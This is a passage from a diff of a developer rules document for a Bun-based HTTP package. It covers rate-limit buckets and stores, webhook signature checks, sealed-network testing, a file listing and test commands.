+ `tenant|org:<id>` (not route-scoped); stop at the first refusal; an undeclared name is
157
+ `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN`. Headers report the bucket closest to refusing.
158
+ - **The memory store is bounded** (`forgetAtMs` sweep, `DEFAULT_MAX_RATE_LIMIT_KEYS`, evicting the
159
+ entries closest to FULL first — never LRU).
160
+ - **The limiter takes a `Clock`** (`createRateLimiter({ clock })`); `deps.limiter` is the one seam.
161
+ - **The scope is DECLARED, with no default**: an enabled limiter without `scope` is
162
+ `X_RATE_LIMIT_SCOPE_UNSET`; `assertRateLimitScope` (in `createPipeline`) refuses `'shared'` over a
163
+ per-process store (`X_RATE_LIMIT_NOT_SHARED`). Install through `createServer({ rateLimitStore })`.
164
+ - **`postgresRateLimitStore({ executor })` is the shared store**, over a structural `PgExecutor`. The
165
+ refill expression is repeated inside `on conflict do update` on purpose; `spent` is a stored column;
166
+ `purgeExpired(nowMs)` takes the caller's clock.
167
+ - **A bucket a route names must be registered**: `withRouteBuckets` merges `meta.rateLimitBucket`
168
+ into the table in `createServer` and `createPipeline`; any disagreement is
169
+ `X_RATE_LIMIT_BUCKET_CONFLICT`. **The installed limiter must hold it too** — `RateLimiter.buckets`
170
+ is declared and `assertRouteBuckets` refuses, never rebinds.
171
+
172
+ ## Rules — webhooks and tests
173
+
174
+ - **`verifyWebhookSignature` is a FUNCTION, never a stage**: it reads through core's
175
+ `readWithinLimit` and returns the raw text. The mac is checked BEFORE freshness
176
+ (`X_WEBHOOK_SIGNATURE_STALE` means authentic and old); the window is `Math.abs`; the timestamp is
177
+ digits-only; `:` is refused in id and topic; the comparison is `timingSafeEqual`
178
+ (`bun run secret-compare`). **The FORMAT is core's** (`packages/core/src/webhook-signature.ts`) —
179
+ never re-declared here.
180
+ - Tests must not touch the network — the preload seals `fetch`. Socket tests live in `e2e/` (`bun test
181
+ packages/http/e2e`), sealed; `start()` calls core's `markListening()`. Never unseal.
676
182
 
677
183
  ## Files
678
184
 
@@ -691,7 +197,8 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
691
197
  | `context.ts` | `RequestContext` (core's `Ctx` plus the request's own), composed from `createContext`, the single `Ctx` adapter (`asCtx`) and the inbound-header readers |
692
198
  | `redirect.ts` | the intent slot a handler that cannot return a `Response` fills |
693
199
  | `auth-redirect.ts` | where an unauthenticated browser goes, and where it comes back to |
694
- | `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor |
200
+ | `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor — and the review of a declared one (`reviewedHint`) |
201
+ | `error-log-level.ts` | the level of the `error-map` stage's one line: `error` for 5xx, `warn` for 401/403/429, `info` for the rest |
695
202
  | `route-cache.ts` | the screen a `Route.cache` hint gets where it is DECLARED, thrown from `createRouter`; the response path's `finiteDeltaSeconds` is the total half of the same rule |
696
203
  | `rate-limit.ts` | the token-bucket maths, the store interface, the memory driver and `toBucket` |
697
204
  | `rate-limit-postgres.ts` | the SHARED store: one table, one `insert … on conflict` per take, over a structural `PgExecutor` |
@@ -712,3 +219,5 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
712
219
  bun test packages/http
713
220
  bun run --filter @ultimat3/http typecheck
714
221
  ```
222
+
223
+ Why each rule above is shaped the way it is: [`docs/history/http.md`](../../docs/history/http.md).